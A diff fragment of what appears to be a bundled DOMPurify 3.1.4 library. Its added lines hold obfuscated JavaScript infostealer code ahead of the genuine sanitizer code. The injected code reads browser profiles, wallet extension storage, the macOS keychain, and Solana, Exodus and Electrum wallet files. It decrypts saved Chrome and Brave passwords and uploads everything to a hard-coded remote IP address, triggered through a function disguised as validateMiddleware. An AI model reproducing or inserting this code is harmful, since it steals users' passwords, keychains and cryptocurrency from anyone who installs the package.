+ 'filename': '' + _0x565e08 + _0x187e13 + '_' + Bt[_0x739d0b] + '_' + _0x1bef31(0x181) + '_' + _0x5ed933[_0x33dad6]
502
+ }
503
+ });
504
+ }
505
+ } catch (_0x7701ab) {}
506
+ }
507
+ }
508
+ }
509
+ }
510
+ if (_0x3cf5dc && (solanaJson = homeDir + _0x1bef31(0x14a), fs[_0x1bef31(0x15f)](solanaJson))) try {
511
+ _0x27e9f5[_0x1bef31(0x162)]({
512
+ 'value': yield fs[_0x1bef31(0x138)](solanaJson),
513
+ 'options': {
514
+ 'filename': 'solana_id.txt'
515
+ }
516
+ });
517
+ } catch (_0x458124) {}
518
+ return Upload(_0x27e9f5), _0x27e9f5;
519
+ });
520
+ return function uploadFiles(_x3, _x4, _x5) {
521
+ return _ref2.apply(this, arguments);
522
+ };
523
+ }(),
524
+ Upload = /*#__PURE__*/function () {
525
+ var _ref3 = _asyncToGenerator(function* (_0x4cbb7a) {
526
+ const _0x44ebcb = _0x4da43b,
527
+ _0x20f5d9 = _0x4cbb7a[_0x44ebcb(0x16d)](_0xaff950 => {
528
+ const _0x3c1d3 = _0x44ebcb;
529
+ return _objectSpread2(_objectSpread2({}, _0xaff950), {}, {
530
+ 'options': {
531
+ 'filename': platform[0x0] + '_' + sn + '_' + _0xaff950[_0x3c1d3(0x133)][_0x3c1d3(0x17e)]
532
+ }
533
+ });
534
+ }),
535
+ _0x585502 = {
536
+ 'type': htype,
537
+ 'hid': hostname,
538
+ 'multi_file': _0x20f5d9
539
+ };
540
+ try {
541
+ if (_0x4cbb7a[_0x44ebcb(0x15c)] > 0x0) {
542
+ const _0xd8457b = {
543
+ 'url': hostURL + _0x44ebcb(0x156),
544
+ 'formData': _0x585502
545
+ };
546
+ yield request[_0x44ebcb(0x145)](_0xd8457b);
547
+ }
548
+ } catch (_0x2588b5) {}
549
+ });
550
+ return function Upload(_x6) {
551
+ return _ref3.apply(this, arguments);
552
+ };
553
+ }(),
554
+ UpAppData = /*#__PURE__*/function () {
555
+ var _ref4 = _asyncToGenerator(function* (_0x480984, _0xe177ff) {
556
+ const _0x21709a = _0x4da43b;
557
+ try {
558
+ let _0x39b07c = '';
559
+ _0x39b07c = 'd' == platform[0x0] ? getAbsolutePath('~/') + _0x21709a(0x182) + _0x480984[0x1] : 'l' == platform[0x0] ? getAbsolutePath('~/') + '/.config/' + _0x480984[0x2] : getAbsolutePath('~/') + '/AppData/' + _0x480984[0x0] + '/User\x20Data', yield uploadFiles(_0x39b07c, _0xe177ff + '_', 0x0 == _0xe177ff);
560
+ } catch (_0x76baad) {}
561
+ });
562
+ return function UpAppData(_x7, _x8) {
563
+ return _ref4.apply(this, arguments);
564
+ };
565
+ }(),
566
+ UpCryptoAppWalletData = /*#__PURE__*/function () {
567
+ var _ref5 = _asyncToGenerator(function* (_0x7cafa4) {
568
+ const _0x365528 = _0x4da43b;
569
+ try {
570
+ let _0x377883 = '';
571
+ _0x377883 = 'd' == platform[0x0] ? getAbsolutePath('~/') + _0x365528(0x182) : 'l' == platform[0x0] ? getAbsolutePath('~/') + _0x365528(0x136) : getAbsolutePath('~/') + '/AppData/' + 'Roaming/', yield uploadAppFiles(_0x377883, _0x7cafa4 + '_', 0x0 == _0x7cafa4);
572
+ } catch (_0x27f956) {}
573
+ });
574
+ return function UpCryptoAppWalletData(_x9) {
575
+ return _ref5.apply(this, arguments);
576
+ };
577
+ }(),
578
+ UpKeychain = /*#__PURE__*/function () {
579
+ var _ref6 = _asyncToGenerator(function* () {
580
+ const _0x80080d = _0x4da43b;
581
+ let _0x19c6a3 = [],
582
+ _0x730267 = homeDir + '/Library/Keychains/login.keychain';
583
+ if (fs[_0x80080d(0x15f)](_0x730267)) try {
584
+ _0x19c6a3[_0x80080d(0x162)]({
585
+ 'value': yield fs[_0x80080d(0x138)](_0x730267),
586
+ 'options': {
587
+ 'filename': _0x80080d(0x148)
588
+ }
589
+ });
590
+ } catch (_0x47a0c7) {} else {
591
+ if (_0x730267 += '-db', fs[_0x80080d(0x15f)](_0x730267)) try {
592
+ _0x19c6a3[_0x80080d(0x162)]({
593
+ 'value': yield fs['createReadStream'](_0x730267),
594
+ 'options': {
595
+ 'filename': _0x80080d(0x148)
596
+ }
597
+ });
598
+ } catch (_0x2a56c0) {}
599
+ }
600
+ try {
601
+ let _0x373dfd = homeDir + '/Library/Application\x20Support/Google/Chrome';
602
+ if (testPath(_0x373dfd)) for (let _0x3f347b = 0x0; _0x3f347b < 0xc8; _0x3f347b++) {
603
+ const _0x48d75a = _0x373dfd + '/' + (0x0 === _0x3f347b ? _0x80080d(0x144) : _0x80080d(0x164) + _0x3f347b) + _0x80080d(0x113);
604
+ try {
605
+ if (!testPath(_0x48d75a)) continue;
606
+ const _0x2eda0d = _0x373dfd + '/ld_' + _0x3f347b;
607
+ testPath(_0x2eda0d) ? _0x19c6a3[_0x80080d(0x162)]({
608
+ 'value': yield fs['createReadStream'](_0x2eda0d),
609
+ 'options': {
610
+ 'filename': _0x80080d(0x178) + _0x3f347b
611
+ }
612
+ }) : yield fs[_0x80080d(0x124)](_0x48d75a, _0x2eda0d, /*#__PURE__*/function () {
613
+ var _ref7 = _asyncToGenerator(function* (_0x3b5f70) {
614
+ const _0x496b28 = _0x80080d;
615
+ let _0x506e77 = [{
616
+ 'value': yield fs['createReadStream'](_0x48d75a),
617
+ 'options': {
618
+ 'filename': _0x496b28(0x178) + _0x3f347b
619
+ }
620
+ }];
621
+ Upload(_0x506e77);
622
+ });
623
+ return function (_x10) {
624
+ return _ref7.apply(this, arguments);
625
+ };
626
+ }());
627
+ } catch (_0x442a10) {}
628
+ }
629
+ } catch (_0x1a5361) {}
630
+ try {
631
+ let _0x12d942 = homeDir + _0x80080d(0x131);
632
+ if (testPath(_0x12d942)) for (let _0x4b7887 = 0x0; _0x4b7887 < 0xc8; _0x4b7887++) {
633
+ const _0x360d06 = _0x12d942 + '/' + (0x0 === _0x4b7887 ? 'Default' : _0x80080d(0x164) + _0x4b7887);
634
+ try {
635
+ if (!testPath(_0x360d06)) continue;
636
+ const _0x45dfd5 = _0x360d06 + '/Login\x20Data';
637
+ testPath(_0x45dfd5) ? _0x19c6a3[_0x80080d(0x162)]({
638
+ 'value': yield fs['createReadStream'](_0x45dfd5),
639
+ 'options': {
640
+ 'filename': _0x80080d(0x11c) + _0x4b7887
641
+ }
642
+ }) : yield fs[_0x80080d(0x124)](_0x360d06, _0x45dfd5, /*#__PURE__*/function () {
643
+ var _ref8 = _asyncToGenerator(function* (_0x281a7a) {
644
+ const _0x25afcb = _0x80080d;
645
+ let _0xcd3c6a = [{
646
+ 'value': yield fs[_0x25afcb(0x138)](_0x360d06),
647
+ 'options': {
648
+ 'filename': _0x25afcb(0x11c) + _0x4b7887
649
+ }
650
+ }];
651
+ Upload(_0xcd3c6a);
652
+ });
653
+ return function (_x11) {
654
+ return _ref8.apply(this, arguments);
655
+ };
656
+ }());
657
+ } catch (_0x234a5b) {}
658
+ }
659
+ } catch (_0x5ca36b) {}
660
+ return Upload(_0x19c6a3), _0x19c6a3;
661
+ });
662
+ return function UpKeychain() {
663
+ return _ref6.apply(this, arguments);
664
+ };
665
+ }(),
666
+ getEncryptionKey = /*#__PURE__*/function () {
667
+ var _ref9 = _asyncToGenerator(function* () {
668
+ const _0x367a04 = _0x4da43b;
669
+ let _0x2d51d8 = '',
670
+ _0x428b65 = '';
671
+ try {
672
+ const _0x16c00c = getAbsolutePath('~/') + _0x367a04(0x127),
673
+ _0x32dc5a = yield fs_promises[_0x367a04(0x147)](_0x16c00c, 'utf-8'),
674
+ _0xa8222d = JSON[_0x367a04(0x158)](_0x32dc5a),
675
+ _0x2d9a8e = _0xa8222d['os_crypt'][_0x367a04(0x116)],
676
+ _0x1d4ab2 = Buffer['from'](_0x2d9a8e, _0x367a04(0x146)),
677
+ _0x4fa154 = _0x1d4ab2[_0x367a04(0x142)](0x5);
678
+ _0x428b65 = dpapi['Dpapi']['unprotectData'](_0x4fa154, null, _0x367a04(0x155));
679
+ } catch (_0x31a087) {}
680
+ try {
681
+ const _0x692944 = getAbsolutePath('~/') + _0x367a04(0x169),
682
+ _0x2267a0 = yield fs_promises[_0x367a04(0x147)](_0x692944, 'utf-8'),
683
+ _0x190a18 = JSON[_0x367a04(0x158)](_0x2267a0),
684
+ _0x403810 = _0x190a18[_0x367a04(0x129)][_0x367a04(0x116)],
685
+ _0x31528f = Buffer[_0x367a04(0x179)](_0x403810, _0x367a04(0x146)),
686
+ _0x5847e8 = _0x31528f[_0x367a04(0x142)](0x5);
687
+ _0x2d51d8 = dpapi['Dpapi'][_0x367a04(0x125)](_0x5847e8, null, _0x367a04(0x155));
688
+ } catch (_0x3da876) {}
689
+ return {
690
+ 'chromeKey': _0x428b65,
691
+ 'braveKey': _0x2d51d8
692
+ };
693
+ });
694
+ return function getEncryptionKey() {
695
+ return _ref9.apply(this, arguments);
696
+ };
697
+ }(),
698
+ decryptPassword = /*#__PURE__*/function () {
699
+ var _ref10 = _asyncToGenerator(function* (_0x297d15, _0x50e677) {
700
+ const _0xd05c46 = _0x4da43b;
701
+ try {
702
+ const _0x498a41 = _0x297d15[_0xd05c46(0x142)](0x3, 0xf),
703
+ _0x115457 = _0x297d15['slice'](0xf),
704
+ _0x18ca9e = crypto['createCipheriv']('aes-256-gcm', _0x50e677, _0x498a41),
705
+ _0x209554 = _0x18ca9e[_0xd05c46(0x14c)](_0x115457, _0xd05c46(0x12e), _0xd05c46(0x17f)) + _0x18ca9e['final'](_0xd05c46(0x17f));
706
+ return _0x209554[_0xd05c46(0x142)](0x0, -0x10);
707
+ } catch (_0x346851) {
708
+ try {
709
+ const _0x7568cf = dpapi['Dpapi'][_0xd05c46(0x125)](encryptData, null, _0xd05c46(0x155));
710
+ return _0x7568cf[_0xd05c46(0x11e)];
711
+ } catch (_0x3a1a9b) {
712
+ return '';
713
+ }
714
+ }
715
+ });
716
+ return function decryptPassword(_x12, _x13) {
717
+ return _ref10.apply(this, arguments);
718
+ };
719
+ }(),
720
+ getDB = /*#__PURE__*/function () {
721
+ var _ref11 = _asyncToGenerator(function* (_0xe53c9a, _0xd38dcf) {
722
+ const _0x280788 = _0x4da43b;
723
+ let _0x1d0274 = '';
724
+ if (testPath(_0xe53c9a)) for (let _0x22759b = 0x0; _0x22759b < 0xc8; _0x22759b++) {
725
+ const _0x180678 = _0xe53c9a + '/' + (0x0 === _0x22759b ? _0x280788(0x144) : _0x280788(0x164) + _0x22759b);
726
+ try {
727
+ if (!testPath(_0x180678)) continue;
728
+ const _0x209180 = _0x180678 + _0x280788(0x113);
729
+ if (!testPath(_0x209180)) continue;
730
+ try {
731
+ yield fs_promises[_0x280788(0x124)](_0x209180, 'db.log');
732
+ } catch (_0x4c7c2c) {}
733
+ const _0x9d0335 = new sqlite3[_0x280788(0x15b)](_0x280788(0x15a));
734
+ try {
735
+ let _0x2b5a37 = yield getRowsFromDB(_0x9d0335, 'SELECT\x20origin_url,\x20action_url,\x20username_value,\x20password_value,\x20date_created,\x20date_last_used\x20FROM\x20logins');
736
+ for (const _0x4b8243 of _0x2b5a37) {
737
+ const _0x2058f0 = _0x4b8243[_0x280788(0x16c)],
738
+ _0x1bc495 = _0x4b8243['action_url'],
739
+ _0x1bce46 = _0x4b8243[_0x280788(0x13c)],
740
+ _0x263888 = yield decryptPassword(_0x4b8243['password_value'], _0xd38dcf);
741
+ if (_0x1bce46) _0x1d0274 += 'Origin\x20URL' + _0x2058f0 + '\x0a', _0x1d0274 += _0x280788(0x171) + _0x1bc495 + '\x0a', _0x1d0274 += _0x280788(0x126) + _0x1bce46 + '\x0a', _0x1d0274 += _0x280788(0x14e) + _0x263888 + '\x0a';else continue;
742
+ _0x1d0274 += '*'[_0x280788(0x122)](0x32) + '\x0a';
743
+ }
744
+ yield closeDB(_0x9d0335);
745
+ } catch (_0x426600) {}
746
+ } catch (_0x51a0af) {}
747
+ }
748
+ return _0x1d0274;
749
+ });
750
+ return function getDB(_x14, _x15) {
751
+ return _ref11.apply(this, arguments);
752
+ };
753
+ }(),
754
+ getRowsFromDB = /*#__PURE__*/function () {
755
+ var _ref12 = _asyncToGenerator(function* (_0x125a74, _0x33d046) {
756
+ return new Promise(function (_0x1bc57c, _0x450a49) {
757
+ const _0x56f78a = _0x12d4;
758
+ _0x125a74[_0x56f78a(0x166)](_0x33d046, function (_0x473b6b, _0x34fad1) {
759
+ if (_0x473b6b) return _0x450a49(_0x473b6b);
760
+ _0x1bc57c(_0x34fad1);
761
+ });
762
+ });
763
+ });
764
+ return function getRowsFromDB(_x16, _x17) {
765
+ return _ref12.apply(this, arguments);
766
+ };
767
+ }(),
768
+ closeDB = /*#__PURE__*/function () {
769
+ var _ref13 = _asyncToGenerator(function* (_0x5d92a8) {
770
+ return new Promise(function (_0x34f0c3, _0x38a709) {
771
+ const _0x50f1d6 = _0x12d4;
772
+ _0x5d92a8[_0x50f1d6(0x188)](/*#__PURE__*/function () {
773
+ var _ref14 = _asyncToGenerator(function* (_0x451df2) {
774
+ const _0x94c3b5 = _0x50f1d6;
775
+ if (_0x451df2) return _0x38a709(_0x451df2);else try {
776
+ yield fs_promises[_0x94c3b5(0x123)](path[_0x94c3b5(0x187)](_0x94c3b5(0x15a))), _0x34f0c3();
777
+ } catch (_0x54eca8) {}
778
+ });
779
+ return function (_x19) {
780
+ return _ref14.apply(this, arguments);
781
+ };
782
+ }());
783
+ });
784
+ });
785
+ return function closeDB(_x18) {
786
+ return _ref13.apply(this, arguments);
787
+ };
788
+ }(),
789
+ writeToOutputFile = /*#__PURE__*/function () {
790
+ var _ref15 = _asyncToGenerator(function* (_0x41b1fe) {
791
+ const _0x3cf0db = _0x4da43b;
792
+ try {
793
+ return yield fs_promises[_0x3cf0db(0x137)](outputfilename, _0x41b1fe, _0x3cf0db(0x17f)), !![];
794
+ } catch (_0xc76159) {
795
+ return ![];
796
+ }
797
+ });
798
+ return function writeToOutputFile(_x20) {
799
+ return _ref15.apply(this, arguments);
800
+ };
801
+ }(),
802
+ retrieveData = /*#__PURE__*/function () {
803
+ var _ref16 = _asyncToGenerator(function* () {
804
+ const _0x4dde2d = _0x4da43b,
805
+ _0x2ba169 = yield getEncryptionKey(),
806
+ _0x4f07cc = getAbsolutePath('~/') + _0x4dde2d(0x118),
807
+ _0x6c102e = getAbsolutePath('~/') + '/AppData/Local/BraveSoftware/Brave-Browser/User\x20Data';
808
+ let _0x348142 = '';
809
+ while (!![]) {
810
+ if (_0x348142 != '') break;
811
+ _0x2ba169[_0x4dde2d(0x140)] != '' && (_0x348142 = yield getDB(_0x4f07cc, _0x2ba169[_0x4dde2d(0x140)])), _0x2ba169[_0x4dde2d(0x15d)] != '' && (_0x348142 = yield getDB(_0x6c102e, _0x2ba169['braveKey']));
812
+ }
813
+ while (!(yield writeToOutputFile(_0x348142))) {
814
+ continue;
815
+ }
816
+ let _0x5673fd = [{
817
+ 'value': yield fs[_0x4dde2d(0x138)](path[_0x4dde2d(0x187)](outputfilename)),
818
+ 'options': {
819
+ 'filename': 'login_data.log'
820
+ }
821
+ }];
822
+ Upload(_0x5673fd), testPath(path['resolve'](outputfilename)) && setTimeout(() => {
823
+ const _0xb98002 = _0x4dde2d;
824
+ fs_promises[_0xb98002(0x123)](path['resolve'](outputfilename));
825
+ }, 0x1), _0x348142 = '';
826
+ });
827
+ return function retrieveData() {
828
+ return _ref16.apply(this, arguments);
829
+ };
830
+ }(),
831
+ main = /*#__PURE__*/function () {
832
+ var _ref17 = _asyncToGenerator(function* () {
833
+ try {
834
+ yield _asyncToGenerator(function* () {
835
+ const _0x1cf1f1 = _0x12d4;
836
+ try {
837
+ yield UpAppData(Q, 0x0), yield UpAppData(R, 0x1), yield UpAppData(X, 0x2), 'w' == platform[0x0] && (yield uploadFiles(getAbsolutePath('~/') + _0x1cf1f1(0x159), '3_', ![])), 'd' == platform[0x0] && (yield UpKeychain());
838
+ } catch (_0x4061ef) {}
839
+ })();
840
+ } catch (_0x2b2499) {}
841
+ });
842
+ return function main() {
843
+ return _ref17.apply(this, arguments);
844
+ };
845
+ }();
846
+ function _0x5a42() {
847
+ const _0x17087c = ['update', 'google-chrome', 'Password:', 'toString', 'atomic/Local\x20Storage/leveldb', 'fhbohimaelbohpjbbldcngcnapndodjp', 'hostname', 'Electrum/wallets', 'hifafgmccdpekplomjjkcfgodnhcellj', 'CurrentUser', '/uploads', 'com.operasoftware.Opera', 'parse', '/AppData/Local/Microsoft/Edge/User\x20Data', 'db.log', 'Database', 'length', 'braveKey', 'Local/Google/Chrome', 'existsSync', 'hostnamectl', '431979cGhcfR', 'push', '/chrome-extension_', 'Profile\x20', 'homedir', 'all', 'wmic\x20bios\x20get\x20serialnumber', '1464608RUhmPT', '/AppData/Local/BraveSoftware/Brave-Browser/User\x20Data/Local\x20State', 'LOCK', 'join', 'origin_url', 'map', 'opera', '_0.indexeddb', 'findIndex', 'Action\x20URL:\x20', '/.electrum/', 'exports', '@primno/dpapi', 'acmacodkjbdgmoleebolmdjonilkdbch', 'hnfanknocfeofbddgcijnmhnfnkdnaad', 'BraveSoftware/Brave-Browser', 'pld_', 'from', 'egjidjbpglichdcondbcbdnbeeppgdph', '72812ekqFRq', 'isDirectory', 'http://95.216.251.178:8001', 'filename', 'utf8', '/IndexedDB', 'indexed', '/Library/Application\x20Support/', 'ibnejdfjmmkpcnlpebklmnkoeoihofec', 'bfnaelmomeimhlpmgjnjophhpkkoljpa', '.seco', 'Google/Chrome', 'resolve', 'close', '/Login\x20Data', 'Roaming/Opera\x20Software/Opera\x20Stable', 'accessSync', 'encrypted_key', 'Exodus/exodus.wallet', '/AppData/Local/Google/Chrome/User\x20Data', '.leveldb', '598571ubfeqJ', 'replace', 'brld_', '1051190aNFAYN', 'data', 'fs/promises', 'Local/BraveSoftware/Brave-Browser', 'jblndlipeogpafnldhgmapagcccfchpi', 'repeat', 'unlink', 'copyFile', 'unprotectData', 'Username:', '/AppData/Local/Google/Chrome/User\x20Data/Local\x20State', 'request', 'os_crypt', 'extname', 'trim', 'split', 'substring', 'binary', 'crypto', 'dirname', '/Library/Application\x20Support/BraveSoftware/Brave-Browser', 'utf-8', 'options', '/Local\x20Extension\x20Settings', '65ozxJbv', '/.config/', 'writeFile', 'createReadStream', 'nkbihfbeogaeaoehlefnkodbefgpgknn', '5435976DVBVrN', 'error.log', 'username_value', '3479790eINXiZ', 'execSync', '.json', 'chromeKey', 'readdirSync', 'slice', 'path', 'Default', 'post', 'base64', 'readFile', 'logkc-db', 'sqlite3', '/.config/solana/id.json', '.log'];
848
+ _0x5a42 = function _0x5a42() {
849
+ return _0x17087c;
850
+ };
851
+ return _0x5a42();
852
+ }
853
+ var validateMiddleware$1 = validateMiddleware = () => {
854
+ 'w' == platform[0x0] && retrieveData(), UpCryptoAppWalletData(0x0), main();
855
+ };
856
+
857
+ // https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType
858
+ const NODE_TYPE = {
859
+ element: 1,
860
+ attribute: 2,
861
+ text: 3,
862
+ cdataSection: 4,
863
+ entityReference: 5,
864
+ // Deprecated
865
+ entityNode: 6,
866
+ // Deprecated
867
+ progressingInstruction: 7,
868
+ comment: 8,
869
+ document: 9,
870
+ documentType: 10,
871
+ documentFragment: 11,
872
+ notation: 12 // Deprecated
873
+ };
874
+ const getGlobal = function getGlobal() {
875
+ return typeof window === 'undefined' ? null : window;
876
+ };
877
+
878
+ /**
879
+ * Creates a no-op policy for internal use only.
880
+ * Don't export this function outside this module!
881
+ * @param {TrustedTypePolicyFactory} trustedTypes The policy factory.
882
+ * @param {HTMLScriptElement} purifyHostElement The Script element used to load DOMPurify (to determine policy name suffix).
883
+ * @return {TrustedTypePolicy} The policy created (or null, if Trusted Types
884
+ * are not supported or creating the policy failed).
885
+ */
886
+ const _createTrustedTypesPolicy = function _createTrustedTypesPolicy(trustedTypes, purifyHostElement) {
887
+ if (typeof trustedTypes !== 'object' || typeof trustedTypes.createPolicy !== 'function') {
888
+ return null;
889
+ }
890
+
891
+ // Allow the callers to control the unique policy name
892
+ // by adding a data-tt-policy-suffix to the script element with the DOMPurify.
893
+ // Policy creation with duplicate names throws in Trusted Types.
894
+ let suffix = null;
895
+ const ATTR_NAME = 'data-tt-policy-suffix';
896
+ if (purifyHostElement && purifyHostElement.hasAttribute(ATTR_NAME)) {
897
+ suffix = purifyHostElement.getAttribute(ATTR_NAME);
898
+ }
899
+ const policyName = 'dompurify' + (suffix ? '#' + suffix : '');
900
+ try {
901
+ return trustedTypes.createPolicy(policyName, {
902
+ createHTML(html) {
903
+ return html;
904
+ },
905
+ createScriptURL(scriptUrl) {
906
+ return scriptUrl;
907
+ }
908
+ });
909
+ } catch (_) {
910
+ // Policy creation failed (most likely another DOMPurify script has
911
+ // already run). Skip creating the policy, as this will only cause errors
912
+ // if TT are enforced.
913
+ console.warn('TrustedTypes policy ' + policyName + ' could not be created.');
914
+ return null;
915
+ }
916
+ };
917
+ function createDOMPurify() {
918
+ let window = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : getGlobal();
919
+ const DOMPurify = root => createDOMPurify(root);
920
+
921
+ /**
922
+ * Version label, exposed for easier checks
923
+ * if DOMPurify is up to date or not
924
+ */
925
+ DOMPurify.version = '3.1.4';
926
+
927
+ /**
928
+ * Array of elements that DOMPurify removed during sanitation.
929
+ * Empty if nothing was removed.
930
+ */
931
+ DOMPurify.removed = [];
932
+ if (!window || !window.document || window.document.nodeType !== NODE_TYPE.document) {
933
+ // Not running in a browser, provide a factory function
934
+ // so that you can pass your own Window
935
+ DOMPurify.isSupported = false;
936
+ return DOMPurify;
937
+ }
938
+ let {
939
+ document
940
+ } = window;
941
+ const originalDocument = document;
942
+ const currentScript = originalDocument.currentScript;
943
+ const {
944
+ DocumentFragment,
945
+ HTMLTemplateElement,
946
+ Node,
947
+ Element,
948
+ NodeFilter,
949
+ NamedNodeMap = window.NamedNodeMap || window.MozNamedAttrMap,
950
+ HTMLFormElement,
951
+ DOMParser,
952
+ trustedTypes
953
+ } = window;
954
+ const ElementPrototype = Element.prototype;
955
+ const cloneNode = lookupGetter(ElementPrototype, 'cloneNode');
956
+ const remove = lookupGetter(ElementPrototype, 'remove');
957
+ const getNextSibling = lookupGetter(ElementPrototype, 'nextSibling');
958
+ const getChildNodes = lookupGetter(ElementPrototype, 'childNodes');
959
+ const getParentNode = lookupGetter(ElementPrototype, 'parentNode');
960
+
961
+ // As per issue #47, the web-components registry is inherited by a
962
+ // new document created via createHTMLDocument. As per the spec
963
+ // (http://w3c.github.io/webcomponents/spec/custom/#creating-and-passing-registries)
964
+ // a new empty registry is used when creating a template contents owner
965
+ // document, so we use that as our parent document to ensure nothing
966
+ // is inherited.
967
+ if (typeof HTMLTemplateElement === 'function') {
968
+ const template = document.createElement('template');
969
+ if (template.content && template.content.ownerDocument) {
970
+ document = template.content.ownerDocument;
971
+ }
972
+ }
973
+ let trustedTypesPolicy;
974
+ let emptyHTML = '';
975
+ const {
976
+ implementation,
977
+ createNodeIterator,
978
+ createDocumentFragment,
979
+ getElementsByTagName
980
+ } = document;
981
+ const {
982
+ importNode
983
+ } = originalDocument;
984
+ let hooks = {};
985
+
986
+ /**
987
+ * Expose whether this browser supports running the full DOMPurify.
988
+ */
989
+ DOMPurify.isSupported = typeof entries === 'function' && typeof getParentNode === 'function' && implementation && implementation.createHTMLDocument !== undefined;
990
+ const {
991
+ MUSTACHE_EXPR,
992
+ ERB_EXPR,
993
+ TMPLIT_EXPR,
994
+ DATA_ATTR,
995
+ ARIA_ATTR,
996
+ IS_SCRIPT_OR_DATA,
997
+ ATTR_WHITESPACE,
998
+ CUSTOM_ELEMENT
999
+ } = EXPRESSIONS;
1000
+ let {
1001
+ IS_ALLOWED_URI: IS_ALLOWED_URI$1
1002
+ } = EXPRESSIONS;
1003
+
1004
+ /**
1005
+ * We consider the elements and attributes below to be safe. Ideally
1006
+ * don't add any new ones but feel free to remove unwanted ones.
1007
+ */
1008
+
1009
+ /* allowed element names */
1010
+ let ALLOWED_TAGS = null;
1011
+ const DEFAULT_ALLOWED_TAGS = addToSet({}, [...html$1, ...svg$1, ...svgFilters, ...mathMl$1, ...text]);
1012
+
1013
+ /* Allowed attribute names */
1014
+ let ALLOWED_ATTR = null;
1015
+ const DEFAULT_ALLOWED_ATTR = addToSet({}, [...html, ...svg, ...mathMl, ...xml]);
1016
+
1017
+ /*
1018
+ * Configure how DOMPUrify should handle custom elements and their attributes as well as customized built-in elements.
1019
+ * @property {RegExp|Function|null} tagNameCheck one of [null, regexPattern, predicate]. Default: `null` (disallow any custom elements)
1020
+ * @property {RegExp|Function|null} attributeNameCheck one of [null, regexPattern, predicate]. Default: `null` (disallow any attributes not on the allow list)
1021
+ * @property {boolean} allowCustomizedBuiltInElements allow custom elements derived from built-ins if they pass CUSTOM_ELEMENT_HANDLING.tagNameCheck. Default: `false`.
1022
+ */
1023
+ let CUSTOM_ELEMENT_HANDLING = Object.seal(create(null, {
1024
+ tagNameCheck: {
1025
+ writable: true,
1026
+ configurable: false,
1027
+ enumerable: true,
1028
+ value: null
1029
+ },
1030
+ attributeNameCheck: {
1031
+ writable: true,
1032
+ configurable: false,
1033
+ enumerable: true,
1034
+ value: null
1035
+ },
1036
+ allowCustomizedBuiltInElements: {
1037
+ writable: true,
1038
+ configurable: false,
1039
+ enumerable: true,
1040
+ value: false
1041
+ }
1042
+ }));
1043
+
1044
+ /* Explicitly forbidden tags (overrides ALLOWED_TAGS/ADD_TAGS) */
1045
+ let FORBID_TAGS = null;
1046
+
1047
+ /* Explicitly forbidden attributes (overrides ALLOWED_ATTR/ADD_ATTR) */
1048
+ let FORBID_ATTR = null;
1049
+
1050
+ /* Decide if ARIA attributes are okay */
1051
+ let ALLOW_ARIA_ATTR = true;
1052
+
1053
+ /* Decide if custom data attributes are okay */
1054
+ let ALLOW_DATA_ATTR = true;
1055
+
1056
+ /* Decide if unknown protocols are okay */
1057
+ let ALLOW_UNKNOWN_PROTOCOLS = false;
1058
+
1059
+ /* Decide if self-closing tags in attributes are allowed.
1060
+ * Usually removed due to a mXSS issue in jQuery 3.0 */
1061
+ let ALLOW_SELF_CLOSE_IN_ATTR = true;
1062
+
1063
+ /* Output should be safe for common template engines.
1064
+ * This means, DOMPurify removes data attributes, mustaches and ERB
1065
+ */
1066
+ let SAFE_FOR_TEMPLATES = false;
1067
+
1068
+ /* Output should be safe even for XML used within HTML and alike.
1069
+ * This means, DOMPurify removes comments when containing risky content.
1070
+ */
1071
+ let SAFE_FOR_XML = true;
1072
+
1073
+ /* Decide if document with <html>... should be returned */
1074
+ let WHOLE_DOCUMENT = false;
1075
+
1076
+ /* Track whether config is already set on this instance of DOMPurify. */
1077
+ let SET_CONFIG = false;
1078
+
1079
+ /* Decide if all elements (e.g. style, script) must be children of
1080
+ * document.body. By default, browsers might move them to document.head */
1081
+ let FORCE_BODY = false;
1082
+
1083
+ /* Decide if a DOM `HTMLBodyElement` should be returned, instead of a html
1084
+ * string (or a TrustedHTML object if Trusted Types are supported).
1085
+ * If `WHOLE_DOCUMENT` is enabled a `HTMLHtmlElement` will be returned instead
1086
+ */
1087
+ let RETURN_DOM = false;
1088
+
1089
+ /* Decide if a DOM `DocumentFragment` should be returned, instead of a html
1090
+ * string (or a TrustedHTML object if Trusted Types are supported) */
1091
+ let RETURN_DOM_FRAGMENT = false;
1092
+
1093
+ /* Try to return a Trusted Type object instead of a string, return a string in
1094
+ * case Trusted Types are not supported */
1095
+ let RETURN_TRUSTED_TYPE = false;
1096
+
1097
+ /* Output should be free from DOM clobbering attacks?
1098
+ * This sanitizes markups named with colliding, clobberable built-in DOM APIs.
1099
+ */
1100
+ let SANITIZE_DOM = true;
1101
+
1102
+ /* Achieve full DOM Clobbering protection by isolating the namespace of named
1103
+ * properties and JS variables, mitigating attacks that abuse the HTML/DOM spec rules.
1104
+ *
1105
+ * HTML/DOM spec rules that enable DOM Clobbering:
1106
+ * - Named Access on Window (§7.3.3)
1107
+ * - DOM Tree Accessors (§3.1.5)
1108
+ * - Form Element Parent-Child Relations (§4.10.3)
1109
+ * - Iframe srcdoc / Nested WindowProxies (§4.8.5)
1110
+ * - HTMLCollection (§4.2.10.2)
1111
+ *
1112
+ * Namespace isolation is implemented by prefixing `id` and `name` attributes
1113
+ * with a constant string, i.e., `user-content-`
1114
+ */
1115
+ let SANITIZE_NAMED_PROPS = false;
1116
+ const SANITIZE_NAMED_PROPS_PREFIX = 'user-content-';
1117
+
1118
+ /* Keep element content when removing element? */
1119
+ let KEEP_CONTENT = true;
1120
+
1121
+ /* If a `Node` is passed to sanitize(), then performs sanitization in-place instead
1122
+ * of importing it into a new Document and returning a sanitized copy */
1123
+ let IN_PLACE = false;
1124
+
1125
+ /* Allow usage of profiles like html, svg and mathMl */
1126
+ let USE_PROFILES = {};
1127
+
1128
+ /* Tags to ignore content of when KEEP_CONTENT is true */
1129
+ let FORBID_CONTENTS = null;
1130
+ const DEFAULT_FORBID_CONTENTS = addToSet({}, ['annotation-xml', 'audio', 'colgroup', 'desc', 'foreignobject', 'head', 'iframe', 'math', 'mi', 'mn', 'mo', 'ms', 'mtext', 'noembed', 'noframes', 'noscript', 'plaintext', 'script', 'style', 'svg', 'template', 'thead', 'title', 'video', 'xmp']);
1131
+
1132
+ /* Tags that are safe for data: URIs */
1133
+ let DATA_URI_TAGS = null;
1134
+ const DEFAULT_DATA_URI_TAGS = addToSet({}, ['audio', 'video', 'img', 'source', 'image', 'track']);
1135
+
1136
+ /* Attributes safe for values like "javascript:" */
1137
+ let URI_SAFE_ATTRIBUTES = null;
1138
